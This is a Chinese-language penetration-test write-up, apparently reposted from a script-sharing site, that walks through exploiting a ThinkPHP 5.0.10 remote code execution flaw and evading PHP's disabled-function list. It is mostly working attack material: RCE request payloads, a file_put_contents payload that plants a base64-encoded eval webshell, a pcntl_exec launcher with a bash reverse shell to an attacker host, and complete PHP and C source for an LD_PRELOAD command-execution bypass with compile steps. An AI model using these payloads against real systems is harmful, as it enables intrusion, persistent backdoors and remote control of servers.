一次項(xiàng)目中Thinkphp繞過禁用函數(shù)的實(shí)戰(zhàn)記錄
目錄
- 前言
- file_put_contents
- pcntl_exec
- LD_PRELOAD 劫持
- 總結(jié)
前言
在一次滲透測試中,手工找了許久沒發(fā)現(xiàn)什么東西,抱著嘗試的心情打開了xray
果然xray還是挺給力的,一打開網(wǎng)頁的時(shí)候xray直接就掃描出了Thinkphp 5.0.10 rce漏洞
直接使用命令執(zhí)行payload,結(jié)果報(bào)出system函數(shù)被禁用
s=whoami&_method=__construct&method=&filter[]=system
嘗試應(yīng)用其他函數(shù)進(jìn)行利用,經(jīng)過測試發(fā)現(xiàn)call_user_func函數(shù)沒有被禁用
Payload
s=phpinfo&_method=__construct&method=get&filter[]=call_user_func
可以看到哪些函數(shù)被禁用了
看到assert和include沒有被禁用,一開始想寫shell進(jìn)日志然后去利用文件包含,發(fā)現(xiàn)并沒有任何反應(yīng),也不報(bào)錯(cuò)。
file_put_contents
又回去看被禁用的函數(shù),發(fā)現(xiàn)文件函數(shù)沒被禁用,可以用file_put_contents函數(shù)去寫文件
測試寫入phpinfo文件
s=file_put_contents('/www/wwwroot/public/phpinfo.php',base64_decode('PD9waHAgJHBhc3M9JF9QT1NUWydhYWFhJ107ZXZhbCgkcGFzcyk7Pz4'))&_method=__construct&filter=assert
寫入成功
寫入冰蝎馬可以進(jìn)行文件管理了
雖然可以進(jìn)行文件操作了,但還是沒法執(zhí)行命令
pcntl_exec
想到了比較容易被忽略的命令執(zhí)行函數(shù)pcntl_exec,發(fā)現(xiàn)pcntl_exec函數(shù)沒有被禁用,該函數(shù)可以指定一個(gè)程序來執(zhí)行指定文件
先寫一個(gè)exe.php文件,在文件中指定pcntl_exec的參數(shù)(執(zhí)行運(yùn)行程序,運(yùn)行指定文件)
<?php switch (pcntl_fork()) { case 0: pcntl_exec('/bin/bash', ['/www/wwwroot/public/exec.sh']); exit(0); default: break; } ?>
exec.sh文件寫入反彈命令
bash -i >& /dev/tcp/vpsip/7777 0>&1
瀏覽器訪問exe.php成功反彈shell
LD_PRELOAD 劫持
這次滲透是結(jié)束了,這里嘗試了另外一種繞過方法,如果遇到pcntl_exec函數(shù)也被禁用的情況,可以利用環(huán)境變量 LD_PRELOAD 劫持系統(tǒng)函數(shù),讓外部程序加載惡意 *.so,達(dá)到執(zhí)行系統(tǒng)命令的效果。詳細(xì)的原理介紹就不贅述了,可以參考這個(gè)大哥的文章https://www.meetsec.cn/index.php/archives/44/
這種方法主要是需要上傳一個(gè).php和一個(gè)由.c程序編譯得到共享對(duì)象.so文件到服務(wù)器
bypass_disablefunc.php
<?php echo "example: http://site.com/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc_x64.so
"; $cmd = $_GET["cmd"]; $out_path = $_GET["outpath"]; $evil_cmdline = $cmd . " > " . $out_path . " 2>&1"; echo "cmdline: " . $evil_cmdline . "
"; putenv("EVIL_CMDLINE=" . $evil_cmdline); $so_path = $_GET["sopath"]; putenv("LD_PRELOAD=" . $so_path); mail("", "", "", ""); echo "output:
"; unlink($out_path); ?>
" . nl2br(file_get_contents($out_path)) . "
bypass_disablefunc.php提供了三個(gè)參數(shù):
- cmd 參數(shù),待執(zhí)行的系統(tǒng)命令(如 whoami)。
- outpath 參數(shù),保存命令執(zhí)行輸出結(jié)果的文件路徑(如 /www/wwwroot/public),便于在頁面上顯示,另外關(guān)于該參數(shù),你應(yīng)注意 web 是否有讀寫權(quán)限、web 是否可跨目錄訪問、文件將被覆蓋和刪除等幾點(diǎn)。
- sopath 參數(shù),指定劫持系統(tǒng)函數(shù)的共享對(duì)象的絕對(duì)路徑(如 /www/wwwroot/bypass_disablefunc_x64.so),另外關(guān)于該參數(shù),你應(yīng)注意 web 是否可跨目錄訪問到它,最好也傳到web根目錄下。
bypass_disablefunc.c
#define _GNU_SOURCE #include#include #include extern char** environ; __attribute__ ((__constructor__)) void preload (void) { // get command line options and arg const char* cmdline = getenv("EVIL_CMDLINE"); // unset environment variable LD_PRELOAD. // unsetenv("LD_PRELOAD") no effect on some // distribution (e.g., centos), I need crafty trick. int i; for (i = 0; environ[i]; ++i) { if (strstr(environ[i], "LD_PRELOAD")) { environ[i][0] = '0'; } } // executive command system(cmdline); }
這里需要用命令gcc -shared -fPIC bypass_disablefunc.c -o bypass_disablefunc_x64.so將 bypass_disablefunc.c編譯為共享對(duì)象 bypass_disablefunc_x64.so
要根據(jù)目標(biāo)架構(gòu)編譯成不同版本,在 x64 的環(huán)境中編譯,若不帶編譯選項(xiàng)則默認(rèn)為 x64,若要編譯成 x86 架構(gòu)需要加上 -m32 選項(xiàng)。
可以在github上找到上述需要的文件
https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD
這里利用之前的文件管理冰蝎shell將php和so文件上傳到服務(wù)器web目錄
在瀏覽器訪問bypass_disablefunc.php傳入?yún)?shù)
http://www.xxx.com/bypass_disablefunc.php?cmd=ls&outpath=/www/wwwroot%20/public/1.txt&sopath=/www/wwwroot/public/bypass_disablefunc_x64.so
成功執(zhí)行命令
總結(jié)
到此這篇關(guān)于一次項(xiàng)目中Thinkphp繞過禁用函數(shù)的文章就介紹到這了,更多相關(guān)Thinkphp繞過禁用函數(shù)內(nèi)容請搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家!
版權(quán)聲明:
本站所有文章和圖片均來自用戶分享和網(wǎng)絡(luò)收集,文章和圖片版權(quán)歸原作者及原出處所有,僅供學(xué)習(xí)與參考,請勿用于商業(yè)用途,如果損害了您的權(quán)利,請聯(lián)系網(wǎng)站客服處理。